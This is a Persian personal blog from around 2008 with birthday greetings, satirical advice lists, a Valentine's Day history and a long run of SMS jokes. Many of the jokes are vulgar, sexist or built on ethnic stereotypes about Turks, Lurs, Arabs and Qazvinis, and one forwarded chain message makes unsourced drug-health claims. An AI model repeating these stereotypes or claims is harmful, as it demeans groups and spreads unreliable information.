اينم ادامه  آپ قبليه

 مجبور شدم تو دوتا پست براتون بزنم

ادامه مطلب رو بخونيد

ادامه مطلب

سه شنبه سی ام مهر 1387 ساعت 14:58| نويسنده : الناز |

سلام به همه دوستاي گلم

  

 

برای خواندن مطالب به ادامه مطلب برید

دوستون دارم

يا حق

ادامه مطلب

سه شنبه سی ام مهر 1387 ساعت 14:27| نويسنده : الناز |

جمعه هجدهم مرداد 1387 ساعت 6:0| نويسنده : الناز |

سلام به همه دوستای گلم

هرچند امسال خیلی بهار خوبی نداشتیم

 

ولی دلاتون همیشه بهاری باشه

 

جدیدا عادت کردم فقط مناسبت های خیلی مهم رو بیام اینجا

آخه هیچ جا رو بیشتر از اینجا دوست ندارم

وقتی که تازه شروع کردم شماها بودید

و حالا هم که تنهام بازم شماها هستید

روزگار بازی عجیبی داره شاید چند سال پیش تصور اینکه فردا چطور میشه رو نداشتم

و حالا سرنوشت ...

بی خیال

اول مناسبت و بگم

دوتاتولــــده

 

 

 

 

 

 

تولد خواهرمه المیرا

المیرا جونم امیدوارم ۱۰۰۰۰ ساله بشی

خیلی دلم برات تنگ شده گلم

 

 

 

اون تولد دیگه هم مربوط به کسیه که من خیلی دوسش دارم

 

 

 

 

 اسمشو نمیگم چون شاید دوست نداشته باشه

 

امیدوارم همیشه موفق باشه

اینم کیک تولد این دو عزیزم

 

 

 

 

 

 

حالا یه طنز خوب برای اونایی که

میخوان خواننده بشن

چگونه يك خواننده مردمي (پولدار) شويم؟

1- اولين قدم براي ورود به عرصه هنر قهر كردن با مادرتان است، مگر نشنيده ايد كه قديمي ها گفته اند:

 ((هركس از مادرش قهر كرد، رفت خواننده شد.))

 و يا آنكه

 ((هركس از مادرش قهر كرد، بازيگر شد.))

 پس نتيجه مي گيريم اولين مرحله براي پشت سر گذاشتن پله هاي ترقي قهر كردن از مادرتان است.

تذكرمهم

بچه ننه ها نمي توانند خواننده شوند.

2- اكنون شما بايد به دنبال ترانه بگرديد، اما چون پول نداريد ... ببخشيد

اما چون ترانه سراها را قبول نداريد، خودتان دست به كار مي شويد، براي شعر گفتن تنها كافي است خاطره يك نيم روز خود را به تصوير بكشيد و سعي كنيد چيزهايي بگوييد كه خودتان هم معني اش را نمي فهميد.

به عنوان مثال:

يه روز مي خوام خواننده شم

 يه روز مي خوام راننده شم

باختن رو خيلي دوست دارم

من نمي خوام برنده شم

تذكر(2):

 خودم هم معني بيت دوم شعرم رو نفهميدم

 اما گمان كنم حرف سياسي از خودم در و كردم!

3- نگاهي به دور وبر خود بيندازيد

 چه مي بينيد؟

يك اتاق به هم ريخته و صفحه سوسه كه جلويتان پهن شده

و در حال خواندنش هستيد؟!

 نه.

 كمي نگاهتان را وسعت دهيد!

چه مي بينيد؟

 استعدادهاي بسياري كه شكوفا نشده اند

حتماً شما پسرخاله، پسر عمويي داريد كه گيتار زدن بلد باشند؟!

 پس به خانه آنها زنگ بزنيد و بگوييد خواننده شده ايد

و به آنها نياز دارد

 حتماً قبول مي كنند و براي شما آهنگ مي سازند.

4- به وزارت ارشاد مي رويد و كمي خواهش و تمنا مي كنيد

 و شايد هم (...)!

تا آنها قبول كنند به آلبوم شما مجوز ندهند!

اكنون شما در نشريات زرد تيتر اول مي شويد:

 تهديد كنيد اگر به شما مجوز ندهند. به خارج مي رويد

و بگوييد دست و پاهايي پنهان در كشور مانع فعاليت شما مي شوند

و چشم ديدنتان را ندارد.

5- پرواز به آن طرف آبها

براي شروع دُبي خوب است

 (چون بيشتر از آن پول بليت هواپيما نداريد!)

 اكنون در مصاحبه هاي خود بگوييد دلتان براي خاك كشور تنگ شده است و آرزو داريد روزي به ايران برگرديد

و هيچ كجا ايران نمي شود ...

 حالا يك شعر در همين راستا بخوانيد:

مي خوام بيام به ايرون

تو صف نون بمونم

اونجا واسه خودم و ننه ام بخونم

اينجا دلم گرفته

 يه هم صدا ندارم

اينجا حتي لپ لپ هم نداره *

* تذكر (3):

 در ترانه اصلاً قافيه اهميتي ندارد و مهم حس شماست كه بايد منتقل شود.

6- نگاهي به خود بيندازيد

چه مي بينيد؟

 يك جوان، موي بلند، روي سياه، ناخن كثيف؟!

نه ...

 بهتره به خود نگاهي بيندازيد. چه مي بينيد؟

 يك جوان منحرف، غرب زده بي خانمان؟!

 نه ...

بهتره به خود نگاه كنيد ...

آري شما به آرزوي خود رسيديد.

اكنون شما يك هنرمند محبوب و مردمي

 (و مهمتر از آن پولدار)

هستيد

 حتي در روستاهاي كشور پوسترها و ((CD))هايتان خريد و فروش مي شود و هر روز چند نوبت كنسرت مي گذاريد.

7- حالا وقت آن رسيده است كه كمي به گذشته خود برگرديد

 و به ياد بياوريد چه كسي شما را راهنمايي كرد تا يك خواننده شويد!

 كمي معرفت داشته باشيد

و حداقل يك نظر اینجا بزار!

حالا یه متن برای .....

آقاي پـــدر!

متاسفانه بسياري از جوانان با وجود گذشت دو دهه از زندگي خود هنوز راه ورسم رفتار با پدر اين فرشته سبيلو را نمي دانند.

 بياييد با رعايت نكات ساده زير قدر شناس زحمات او باشيم!

1- هر روز صبح صميمانه به پدر سلام كنيد

اما هيچوقت نگوييد " چطوري پسر!!

2- وقتي پدر با عصبانيت مشغول نصيحت كردن شماست

 به سقف نگاه نكنيد

 (مي توانيد به تلويزيون نگاه كنيد!)

3- هرگز دستتان را داخل جيب شلوار پدر تان كه از جالباسي آويزان است نكنيد.

اما اگر پدرتان حساب پولهاي داخل جيبش را ندارد اشكالي ندارد!

4- در مقابل دوستتان با پدرتان باعصبانيت حرف نزنيد

 چون ممكن است دوستتان نارحت شود!

5- هرگز پدر را " تو" خطاب نكنيد.

اما مي توانيد خواهر و برادر ، گربه، گلدان و اتومبيلتان را " تو " خطاب كنيد

 (البته اگر ماشينتان تويوتا كمري است بايد " شما " بگوييد!)

 6- سعي كنيد گاهي با پدرتان شوخي كنيد

 اما لپش را نكشيد!

 7- در حين رانندگي براي خنده چشم هايش را نگيريد

(ممكن است بر اثر خنده زياد تلف شويد!)

 8- هيچوقت سيگار نيم سوخته خود را به پدر تعارف نكنيد

 ( تعارف سيگار كامل نشانه شخصيت شماست!)

9- هر سال روز پدر جوراب هديه ندهيد

 زير پوش هم براي رفع تنوع بد نيست!

 10- اگر پدر در مورد اينكه چرا شب دير به خانه آمده ايد سوال كرد

هيچوقت نگوييد

 "برو بابا ، عشقمه دير بيام"

مودب باشيد و بگوييد:

" برويد بابا ، دير آمدن عشق من است!

11- اگر وقتي داريد با پدر تان درد دل مي كنيد

او روزنامه مي خواند

 عقده اي نشويد ،

 بلاخره خودتان روزي پدر مي شويد

 و مي توانيد همين كار را با پسرتان بكنيد

 و تخليه رواني شويد!

بازم ممنون از همه شما که اومدید نظر دادید

ندادید!!!!!!!!!!!!!!

خوب برگردیدو نظر بدید

و ........

دوست شما

الناز

یاحق

 

دوشنبه دهم تیر 1387 ساعت 13:39| نويسنده : الناز |

ســـــــــلام

میخوام این آپ رو اختصاص بدم به روز ولنتاین

اول کمی در مورد این روز براتون مطلب می زارم

امیدوارم خوشتون بیاد!!

اول چند تا عکس

 

 

 

روز والنتاین

(روز عشاق و یا روز عشق ورزی) مصادف با ۲۵ بهمن‌ماه (۱۴ فوریه) در بعضی فرهنگها روز ابراز عشق است.

این ابراز عشق معمولاً با فرستادن کارت والنتاین به صورت ناشناس انجام می‌شود. سابقهٔ تاریخی روز والنتاین به جشنی که به افتخار قدیس والنتاین در کلیساهای کاتولیک برگزار می‌شد، باز می‌گردد.

تاريخچه كامل و دقيق ولنتاين در دست نيست و آنچه از پيشينه اين روز می‌‌دانيم با افسانه درآميخته است. امروزه كليسای كاتوليك به اين نتيجه رسيده است كه حداقل سه قديس به نام والنتاین وجود داشته‌اند كه همگی به شهادت رسيده اند، به همين دليل چندين افسانه سعی در بازگوئی تاريخچه اين آئين دارند

                

 

گذری در زمان

در صده سوم میلادی که مطابق می‌شود با اوایل شاهنشاهی ساسانی در ایران، در روم باستان فرمانروایی بوده‌است بنام کلودیوس دوم. کلودیوس عقاید عجیبی داشته‌است از جمله اینکه مردان مجرد نسبت به آنانی كه همسر و فرزند دارند سربازان جنگجوتر و بهتری هستند. از این رو ازدواج را برای سربازان امپراتوری روم قدغن می‌کند. کلودیوس به قدری بی‌رحم وفرمانش به اندازه‌ای قاطع بود که هیچ کس جرات کمک به ازدواج سربازان را نداشت. اما کشیشی به نام والنتاین (والنتیوس)، مخفیانه عقد سربازان رومی را با دختران محبوبشان جاری می‌کرد. کلودیوس دوم از این جریان خبردار می‌شود و دستور می‌دهد که والنتاین را به زندان بیندازند. والنتاین در زندان عاشق دختر زندانبان می‌شود. با توجه به آنچه كه در افسانه آمده كشيش ولنتاين برای او نامه‍ايی نوشته و آنها را با نوشتن «از طرف ولنتاين تو» (From Your Valentine) امضاء کرده است، اصطلاحي كه تا به امروز مورد استفاده قرار گرفته و به وفور بر روی كارتهای ولنتاين مشاهده می‌‌شود. سرانجام کشیش به جرم جاری کردن عقد عشاق بر خلاف قانون کلودیوس دوم اعدام می‌شود. بنابراین او را به عنوان فدایی و شهید راه عشق می‌دانند و از آن زمان والنتاین تبدیل به نمادی برای عشق شده است.

 

            

 

شهرهای منتصب به والنتاین قدیس

بر اساس باورهای کنونی، بقایای والنتاین قدیس که در قرن ۱۹ میلادی در قبرستانی باستانی در ایتالیا کشف شد هم‌اکنون در سه شهر رم، دوبلین و گلاسگو نگهداری می‌شود. بخشی از این بقایا پس از انتقال به یک تابوت طلایی توسط پاپ گرِگوری شانزدهم به کلیسای کاتولیک وایت فرایر در دوبلین پایتخت جمهوری ایرلند اهدا شد. بخش دیگری از این بقایا که گفته می‌شود شامل استخوانهای والنتاین قدیس هم هست توسط یک خانواده متمول فرانسوی در قرن ۱۹ به کلیسای فرانسیس مقدس در شهر گلاسگو در اسکاتلند منتقل شد [۱]. خارج از حلقه‌های مذهبی از مردم عادی کمتر کسی از وجوداین بقایا در شهر اطلاع داشت تا اینکه در سال ۱۹۹۹ تصمیم به انتقال این بقایا به کلیسای دیگری به نام The Blessed John Duns Scotus گرفته شد. این اقدام توجه گسترده‌ی رسانه‌ها و به طبع آن عموم مردم را به دنبال داشت به‌طوری که شهر گلاسگو به خاطر میزبانی والنتاین قدیس شهر عشاق لقب گرفت و از سال ۲۰۰۲ این شهر در روز والنتاین میزبان فستیوالی به نام فستیوال عشق می‌باشد.

رسوم والنتاین

در کشورهای اروپایی و امریکائی دادن شکلات به عنوان هدیه روز والنتاین از شهرت خاصی برخوردار است. تزئین شکلات و پختن انواع ان نیز از اداب این روز به شمار می‌رود. از نظر علمی هم ثابت شده‌است که خوردن شکلات دات یا همان سیاه میزان عشق را در انسان بالا می‌برد البته نه مصرف بی رویه ان.

حالا چند تا جک و متنهای عشقولانه

     

باحال که امیدوارم خوشتـون بـیاد

  

وقتي سرت رو رو شونه هاي کسي ميگذاري که دوستش داري بزرگترين آرامش دنيا رو تو خودت احساس ميکني و وقتي کسي که دوستش داري سرش رو رو شانه هات ميذاره احساس مي کني قوي ترين موجود جهاني

********

ميدونستي ما دو تا خيلي به هم مي آيم‌ ؟ چون من گلم تو منگلي با هم ميشيم گلمنگلي

********

متاسفانه باخبر شديم بزرگمرد سينماي ايران ‏، آقاي عزت اله انتظامي ، شب گذشته در اثر حادثه رانندگي که در نزديکي منزل ايشان روي داد ، از خواب پريدند ! لطفاً نگران نباشيد ايشان حالشان کاملاً خوب است

********

گفتم غم تو دارم**گفتا چشت درآيد! گفتم که ماه من شو**گفتا دلم نخواهد! گفتم خوشا هوايي کزبادصبح خيزد**گفتا هواي گرميست? اَه اَه? عرق درآمد! گفتم دل رحيمت کي عزم صلح دارد**گفتا برو به سويي ? تا گلّ ني درآيد! گفتم زمان عشرت ديدي که چون سرآمد**گفتا که اي واي ديرشد? داد مامان درآمد

********

آدم ها دو دسته هستند : يه دسته اونايي كه مگس روشون مي شينه كه خيلي گوهن يه دسته اونايي كه مگس روشون نميشينه كه نشون دهنده ي اينه كه هيچ گوهي نيستن

********

يكي ميره مكه وقتي برميگرده بهش ميگن چه خبر!!!!!!! ميگه هيچي طبق معمول خدا خونه نبود همه تو حياط ولو بودن

********

شايد کسي رو که باهاش خنديدي يه روزي فراموش کني ولي کسي رو که به خاطرش گريه کردي هيچوقت فراموش نميکني

********

ازجوجه تيغي ميپرسن بهترين ارزوت چيست اشك تو چشمانش حلقه مي زنه و ميگه منو بغلم ميكني

********

مي دوني زيباترين خط منحني دنيا چيه؟ لبخندي که بي اراده رو لبهاي يک عاشق نقش مي بنده تا در نهايت سکوت فرياد بزنه دوستت دارم

********

اي که پا گذاشتي روي عشق من ! اي که در را بستي به روي من ! درو باز کن دستم موند لاي در

********

اگه كسي ديوونت بود ، بازيش نده اگه عاشقت بود ، دوستش داشته باش اگه دوست داشت ، بهش علاقه نشون بده اگه بهت علاقه داشت ، فقط بهش لبخند بزن اينطوري هميشه يه پله ازش عقبتري اگه يه روزي خسته بشه و يه پله بيادعقب تازه ميشه مثل تو

********

از خدا پرسيدم چي دوست داري ؟ گفت : سخاوت . ديوانه گفت: حماقت . غم گفت: ملامت . کوه گفت: صلابت . معشوق گفت : نگاهت . فداي تو که گفتي : رفاقت

********

به یارو ميگن هوا سرد بشه چه کار مي کني ميگه مي رم پيش بخاري ميگن خيلي سرد بشه چي ميگه خوب ميشينم روي بخاري ميگن ديگه آخر سرما باشه چي ميگه ديگه مجبور مي شم بخاري رو روشن کنم

********

ميدوني شباهت تو با گل چيه ؟ هر دوتاتون عشقين . با اين تفاوت که گل عشق زنبور عسله  اما تو عشق مگس

********

خدا به انسان 2 گوش و 2 چشم و 2 دست و 2 پا داد.اما ميدوني چرا 1 قلب داد؟ چون ميخواست تو دنبال دوميش باشي

********

يادت باشه...گاهي وقت ها مثلا آخر شب ها که مي خواي بخوابي يه دل تنهايي هست که يکم اون ور تر مي تپه براي تو

********

تنهايي ام را با تو قسمت مي كنم، سهم كمي نيست گسترده تر از عالم تنهايي من، عالمي نيست غم آنقدر دارم كه مي خواهم تمام فصلها بر سفره رنگين خود بنشانمت بنشين، غمي نيست

********

یارو شب عروسيش نميدونه به زنش چي بگه ...ميگه خانوادت ميدونن تو اينجايي؟؟

********

انيشتين رفت درس خوند معروف شد ذكريا تحقيق كرد كاشف شد ابوعلي سينا مطالعه كرد پزشک شد حالا تو بيكار بشين اس ام اس بخون

********

هي فلاني...؟... مي داني؟... مي گويند رسم زندگي چنين است!!!!!!! مي آيند....... مي مانند....... عادتت مي دهند....... و مي روند....... و تو در خود مي ماني....... و تو تنها مي ماني....... راستي نگفتي؟ رسم تو نيز چنين است؟ مثل همه ي فلاني ها هستي؟؟؟؟

********

خدا ميدونه كه من :فقط تو رو دوست دارم, خدا ميدونه كه تو تنها عشق مني!خدا ميدونه كه فقط تو رو مي پرستم !خدا ميدونه كه من اين اس ام اس رو تا حالا واسه چند نفر فرستادم

 ********

بدترين شكل دلتنگي براي كسي آن است كه در كنار او باشي و بداني كه هرگز به او نخواهي رسيد

********

قيمت ميوه در ميادين تره بار به شدت افزايش يافت. قدر خودتو بدون هلو

 ********

شهرام جزايري آزاد شد ! رئيس قوه قضائيه اعلام كرد شهرام دزد نبوده بلكه اين اشكان بوده كه خود را به جاي شهرام جا زده است

 ********

یارو موبايل ثبت نام ميکنه تو دلش با خودش ميگه خدا کنه نوکيا باشه

 ********

عجب رسميه رسم زمونه، اس ام اس شد کار شبونه، ميرن مسيجا از اونا فقط هزينه هاشون به جا ميمونه، چي شد اون ترکه کجاس اون لره، جکاشون چي شد، خدا ميدونه!!

********

گفتي واسه رفاقت ولي کدوم رفاقت آهان همون که له کردي زير پات توي کثافت

 ********

وقتي يه بار ازدوست (دخترت يا پسرت)ضربه مي خوري درست مثل اين مي مونه که با ماشين بهت زده و داغونت کرده ولي وقتي مي بخشيش درست مثل اين مي مونه که بهش فرصت دادي تا دنده عقب بگيره و دوباره از روت رد بشه تا مطمئن بشه چيزي ازت نمونده

 ********

برات يه هديه دارم ##**#####**## اين يه سيم خارداره. بپيچ دورت تا کسي دستش به گل من نرسه

 ********

معتاده به دختره متلك ميگه: چشاش بيشت لباش بيشت تيپش ييشت دختره برگشت و گفت : گم شو اشغال معتاد گفت: انژباط شفر

********

يه پري افسانه اي به يه زن ميگه: يه آرزوت رو بگو تا برآورده كنم. زنه ميگه: يه كاري كن كه شوهرم حسابي احمق بشه تا بتونم با خيال راحت بهش دروغ بگم و هي مچم رو نگيره. پريه قبول ميكنه و ميگه: برو خونه تون. آرزوت رو برآورده كردم زنه خوشحال ميره خونه, ميبينه شوهرش تبديل به يه زن شده!

********

فرشته‌ها وجود دارن، اما بعضي وقت‌ها چون بال ندارن، ما بهشون مي‌گيم دوست . خوبي دوست من

 ********

ميدوني فرق تو با عزراييل چيه؟اونو اگه يه روز ببينم ميميرم ولي تو رو اگه يه روز نبينم ميميرم.

********

مي خوام روي تمام سنگ هاي دنيا بنويسم دلم واست تنگ شده و آرزو ميکنم يکي از اون سنگ ها به سرت بخوره تا بفهمي دل تنگي چه دردي داره!

********

آگهي ازدواج:آقايي هستم تحصيل کرده،زيبا،با موهاي مشکي،چشم هاي مشکي،اندامي مناسب ،،کاملا معاشرتي،داراي آپارتمان و ويلا و ماشين آخرين مدل و با وضع مالي عالي،که حاضر به ازدواج با هيچ دختري نيستم....فقط آگهي دادم دلتون بسوزه

********

اميدوارم در سال جديد خوشبختي مثل سگ پاچتو بگيره

********

شباهت هاي دختر ها و پسر هاي ايراني 1-هر دو تاشون فکر مي کنن جامعه درکشون نمي کنه 2-به دو تاشون اگر رو بدي سوارت ميشن 3-هر دوشون مي تونن 200.000 تومان رو در 2 ساعت خرج کنند 4-هردوتاشون با والدينشون دعوا و درگيري دارند 5- مهمترين ويژگي هر دوتاشون تغيير شخصيتشونه 6-دو تا شون در ظاهر دشمن خوني جنس مخالف هستند اما در باطن دلشون واسه جنس مخالف غش و ضعف ميره 7-دو تاشون از دروغ متنفرن اما هيچ وقت حرف راست نمي زنند

********

يک مشتري نمي تونه به اينترنت وصل بشه... مرکز : شما مطمئنيد رمز درست رو به کار برديد؟ مشتري : بله مطمئنم. من ديدم همکارم اين کار رو کرد. مرکز : ميشه به من بگيد رمز عبور چي بود؟ مشتري : پنج تا ستاره.

********

مي دونيد فرق يه آدم شكست خورده توي عشق با يه آدم  شكست نخورده چيه . . . . . . . . هيچ فرقي ندارن جفتشون احمق بودن كه عاشق شدن

********

يك نفر رشته‌اش دامپروري بوده، روش نميشده به كسي بگه. يكي ازش مي‌پرسه: رشته‌ات چيه؟

ميگه: دامپيوتر، گرايش پشم افزار!

********

روز يه معتاد 2 تا سيگار تو دهنش گرفته بود داشت ميكشيد ازش ميپرسن چرا 2 تا سيگار ميكشي ميگه يكي واسه خودم يكي هم از طرف دوستم كه زندونه بعد از يه مدتي ميبينن همون معتاد يه دونه سيگار ميكشه بهش ميگن حتمادوستت از زندان ازاد شده ميگه نه خودم ترك كردم

********

اگر مجنون شوي تو؛ من ليلي نشوم اگر خسرو شوي تو؛ شيرين نشوم گر شوي سام تو؛ من نرگس نشوم يک بار، فقط يک بار تو آدم شو نامردم اگر که حوا نشوم.

 ********

از پيرزنه مي پرسند دوغ مي خوري يا شوهر مي کني مي گه : ننه من که دندون دوغ خوري ندارم

 ********

دو تا جوجه از بچگي عاشق هم بودند اما وقتي بزرگ شدند ديدن هردوتا شون خروسن(نتيجه اخلاقي تا وقتي جوجه اي عاشق نشو

********

دو تا ماشين با هم تصادف مي‌كنند. افسر مياد و مي‌پرسه: كدومتون مقصر بوديد؟ یارو ميگه: والله من خواب بودم، نديدم از ايشون بپرسيد

********

ميدوني که چه موقع مي فهمي دنيا دو روزه؟ وقتي که اوني که دوستش داري بهت بگه تا آخر دنيا باهاتم

 ********

چوپانه با گوسفنداش لج مي كنه براي انقام مي برتشون روي چمن مصنوعي

********

كاشي كسي تو دلمون پا نميذاشت ... كاش اگه پا ميذاشت دلمون رو تنها نميذاشت.. كاش اگه تنها ميذاشت ردپاش رو روي دلمون جا نميذاشت

********

تقديم به اميد زندگاني ام، تقديم به شکوه شب و شکوه مهتاب، تقديم به اشکهاي سوزان روي کوه گونه هايت ، تقديم به خنده هاي دلنشينت و نگاه هاي پنهانت . اي آسمان قلبم

********

اينگونه باش : شاد اما دلسوز ... ساده اما زيبا ... مصمم اما بي خيال ... متواضع اما سربلند  ... مهربان اما جدي ... سبز اما بي ريا ... عاشق اما عاقل...!!!!؟؟؟؟ 

********

5 راه حل براي خوشحال بودن : 1- داشتن يک دوست خوب مثل من 2- داشتن دوستي مثل من 3- فقط داشتن من 4- داشتن من 5- من

********

به عربه ميگن پسرت اکس ميزنه ميگه اکس ديگه چيه ميگن هموني که باهاش ميرن تو فضا ميره به پسرش ميگه اکس ميزني ميگه نه ميگه کره خر تو فضا ديدنت

 ********

سوال روان شناسي: با جواب دادن به اين سوال ميتوانيد بفهميد افسرده هستيد يا نه!

.

.

.

.

سوال:افسرده هستيد يا نه؟

 ********

خواص گوسفندان : 1- بو ميدهد . 2- سبزي ميخورد.3 - گاهي مي خوابد. 4 - پرواز نميكند . 5 - اينجور نوشته هاي سركاري را با دقت تمام مي خواند

********

حالا پیام های شما دوستای گلم

الهي شمع بشي، پروانه شم، دورت بگردم ... بعدش فوتت کنم، خاموش بشي، هرهر بخندم!

--------

دوثت دارم، دوصت دارم، دوسط دارم، دوثط دارم، دوصط دارم، دوست دارم. خلاصه همه جوره دوست دارم...!

 --------

وزارت کشور از مردم شهيد پرور خواست با توجه به قطع گاز در زمستان،قطع آب و برق در تابستان،قطعي نفت و بنزين در تمام فصول سال با شرکت در انتخابات مجلس بار ديگر خريت خود را به جهانيان ثابت کنند

--------

احمدي نژاد: با برنامه ريزي دقيقي كه كرده ام تا پايان دوره رياست جمهوريم همه مردم ايران تحت پوشش كميته امداد قرار ميگيرند

--------

فتواي جديد مراجع: به دليل سرماي بي سابقه و کمبود گاز ، هر آغوش گرمي حلال است

--------

ترکه با ماشينش يه دختر سوار مي کنه مآمورا جلوشو مي گيرن مي گن:خواهرم شما پياده شو .... ترکه با تعجب مي گه :خواهر شماست؟!؟! وضعش خرابه ها...!

--------

 لطفا براي همه بفرستيد:ورودموادمخدر جديد:نام اين ماده «پان پراگ»است و در بسته‌بندي زيبا و با عکس‌هاي هنرپيشه‌هاي هندي و پاکستان به صورت آدامس، پاستيل و پودرهايي با طعم نعنا و خوشبو کننده دهان وارد کشور مي‌شود. قيمت اين ماده مخدر الان در مشهد 50 تومان تا 300 تومان ميباشد.دليلي که مصرف‌کنندگان «پان پراگ»ها را به سمت آن مي‌کشد، احساس گرمي، سرخوشي موقت، سبکي سر، گيجي و شادي کاذب است. بسيار سرطانزا هم هست movazebe khodetun bashi

--------

  دست دست ... دستا شل ... آهان بيا ... ماشا الله ... دست دست ... حالا قر .... قر .... (طرح گرم سازي ملت بي گاز)

--------

سه اصطلاح برا کي؟

کماندو: چون از عقب و جلو حمله ميکنه

شايعه : چون همش تو دهن خانوماس

جنتلمن: چون جلو خانوما بلند ميشه

--------

اگر مي خواي دوستت داشته باشم نقطه ها رو دنبال کن........................................................ديدي کمبود محبت داري؟

--------

مجلس طرح جريمه لباس برا خانوم ها را تصويب کرد! روسري کوتا بيست هزار تومن! مانتوي کوتاه 15 هزار تومن! شلوار کوتاه 25 هزار تومن! کفش رنگي 10 هزار تومن! از آقايوني که تصميم به ازدواج دارن خواهشمند است قبل از ازدواج عدم خلافي همسر خود را بگيرند

--------

اخرين فتواي مراجع قم احتياط واجب بر ان است که مسافر در قزوين نماز را شکسته نخواند نشسته بخواند

--------

 بسيجيه خونه خالي گير مي ياره دوست دخترشو مي بره 3 رکعت نماز جماعت مي خونن

--------

 ويروس جديدي توسط تيپ هکر سپاه پاسداران جمهوري اسلامي طراحي شده که مشخصات آن به شرح ذيل مي باشد : نام : حاجي ويروس !

( Hajivirus.dll ) نوع : کرم اينترنتي تاثيرات : 1- اين ويروس با پخش پيام" حاجي ويروس امده حاجي ويروس اومده " کار خود را آغاز مي کند! 2- پاک کردن عکس هاي غير اسلامي و هرگونه کليپ خواننده هاي اجنبي از روي کامپيوتر شما ! 3- تغيير عکس پس زمينه ويندوز شما به - قدس شريف - سيد حسن نصرالله !!! 4- پخش اذان در اوقات شرعي و خاموش شدن کامپيوتر

--------

 

 يه خبري كه هم اكنون بهدست ما رسيد توجه كنيد.

در ادامه راهپيمايي روز 22بهمن ---- به تهران رسيدن

--------

لره مي ره بانک مي گه: اقا کل موجودي منو بدين

همشو مي گيره مي شماره مي گه:درسته بذار سر جاش..

--------

دعاي هنگام طلاق :يارب اين دلبر شيرين كه سپردي به منش بس كه گه بود سپردم به ننش !

--------

یارو به گارسونه مي گه عرق داري؟ گارسونه آروم مي گه: اره یارو مي گه: پس کاپشن تنت کن سرما نخوري

--------

مگسه اضافه وزن داشته، زنش بهش ميگه: عزيزم، يه مدت گه زيادي نخور تا دوباره بياي روي فرم!

--------

 متلک بسيجيها به دخترها 1. خانمي نمازتو خوندي؟ 2. روزه هاتونو واستون بگيرم جيگر؟ 3. وقت داري واست دعا کنم؟ 4. ابجي دوست پسر به شرط ريش و سيبيل نميخواي؟ 5. حيف که روزم وگرنه جيگرتو ميخوردم. 6. خواهر اگه نمازتون دير شده برسونمتون؟ 7. من وضو بانفس عشق تو ميگيرم

--------

بالاخره پنج راه آدم شدن کشف شد

 کنجکاو نشو تو يکي آدم بشو نيستي

--------

 به يکه مهندس ساختمان مي گن : نظرت راجع به ساختمان بدن خانم ها چيه ؟مي گه : نماش که عاليه .حالش حرف نداره ........ فقط يه ايراد داره دستشويي و پذيرايي کنار همن!

--------

 بن لادن تهديد کرده امشب سه جا رو ميزنه: ريش سيبيل زير بغل

--------

یارو مي خواسته اعتيادشو ترک کنه تو روزنامه عکسشو با مشخصات چاپ ميکنه :مواد فروشان محترم به اين فرد جنس نفروشند.

--------

 زنگ در خونتم

هرکي تورو بخواد بايد اول منو بزنه

--------

مي دوني امار ازدواج تو چه حيووني زياد است؟

تو حلزون چون هم خونه داره هم ماشين

--------

 اگر ديدي که پيري بر تو تکيه کرده

بدون کيرش به کونت رخنه کرده

اگر بعد از دو ساعت هنوز ول نکرده

  بدان در اوج لذت سکته کرده !

--------

 کو اب و برق مفتي کو پول نفتي که گفتي؟

 هيچ ملتي نخورده کير به اين کلفتي .دهه فجر مبارک

--------

 کلاس پزشکي استاد به دانشجوها مي گه: کدوم يکي از اعضاي بدنه که 9برابر بزرگ مي شه ؟

دختره مي گه استاد من مي دونم.......ولي روم نمي شه بگم

پسره مي گه: من مي دونم استاد مردمک چشمه

استاد به پسره مي گه : افرين

به دخترم مي گه: شماهم اينقدر توقع بي جا نداشته باشيد

--------

 شرايط پرواز در ايران:

 1. اصل شناسنامه

2. پول بليط

 3. دو قطعه عکس 20 در 25 براي سر قبر

 4. فتوکپي وصيت نامه

--------

 يه روز کروبي داشته ميمرده وسيت ميکنه: ريشم را بدين به اکبر . دستم را بدين به رهبر . کي رم را هم بدين به اونهايي که پنجاه هزار تومان مي خواستند.

--------

یارو مسجد مي سازه هيچ کس نميره نماز بخونه

تابلو ميزنه :

 نماز بدون وضو .....

شکسته ....

نشسته .....

گو ز آزاد

--------

 اون چيه که خانوما باز ميکنند اقايون مجبور ميشن که هي بزارن توش ؟

منحرف بي ادب.....حساب بانکيه ديگه

--------

خانم معلمه سر كلاس از يه بچه مي پرسه:‌ اگه سه تا گنجشك سر يه شاخه درخت نشسته باشن،‌ بعد ما يكيشون رو با تير بزنيم، چند تا گنجشك رو درخت ميمونه؟ بچهه ميگه:‌ هيچي! معلمه ميگه: نخير دو تا ميمونه. بچهه ميگه: خوب اون دو تا هم از صداي تير فرار ميكنن ديگه.‌ معلمه يكم فكر ميكنه، ميگه: جوابت درست نبود ولي از طرز فكرت خوشم اومد! بعد شاگرده ميگه:‌ خانم حالا ما يه سوال بپرسيم؟! معلمه ميگه :‌ بپرس. پسره‌ ميگه: اگه سه تا خانم تو خيابون بستني بخورن، اولي گاز بزنه، ‌دومي ليس بزنه و سومي ميك بزنه، كدومشون ازدواج كرده؟! معلمه يكم فكر ميكنه، ميگه:‌ خوب معلومه،‌ سومي! بچهه ميگه:‌ نه...جوابتون درست نبود.  اوني كه حلقه دستشه ازدواج كرده، ولي از طرز فكرت خوشم اومد

--------

 يه نفر صبح ميره در مغازش.. کرکره رو بالا ميکشه و ميگه:

 بسم الله رحمن رحيم....

 ميره تو. ميبينه همه مغازه رو خالي کردن..

مياد بيرون کرکره رو مي کشه پايين و ميگه :

 صدق الله العلي العظيم

 --------

 مي دوني شباهت پسر مجرد با ماشين لباسشويي چيه ؟

هر دو تاشون تو کفن

--------

دخترا اگه خوشگل باشن مي گن عجب جيگريه

 اگه زشت باشن مي گن کي اينو مي گيره

 اگه تپل باشن مي گن چه گوشتيه

 اگه لاغر باشن مي گن چه مردنيه

اگه مودبانه حرف بزنن مي گن چه لفظ قلم حرف مي زنه

گه رک و راست باشن مي گن چه بي حياست

اگه يه خورده فکر کنن مي گن چقدر ناز مي کنه

 اگه سري جواب بدن مي گن منتظر بود

اگه تند راه برن مي گن داره مي ره سر قرار

 اگه اروم راه برن مي گن اومده بيرون دور بزنه ول بگرده

 اگه با تلفن کارتي حرف بزنن مي گن با دوست پسرشه

--------

پنج نوع کردن داريم:

 1-سوزن نخ کردن

 2-لباس تن کردن

 3-برنج دم کردن

 4-بادبادک هواکردن

 5-خيت کردن اونايي که فکر بد کردن

--------

جديدترين رمان عشقي قزوين منتشر شد: خسرو و فرهاد

قزوينيه شب عروسيش دستمال اني به مادر زنش نشون مي ده

محبوبترين اهنگ شب عروسي قزويني ها: عزيزم بگو بر ميگردي

--------

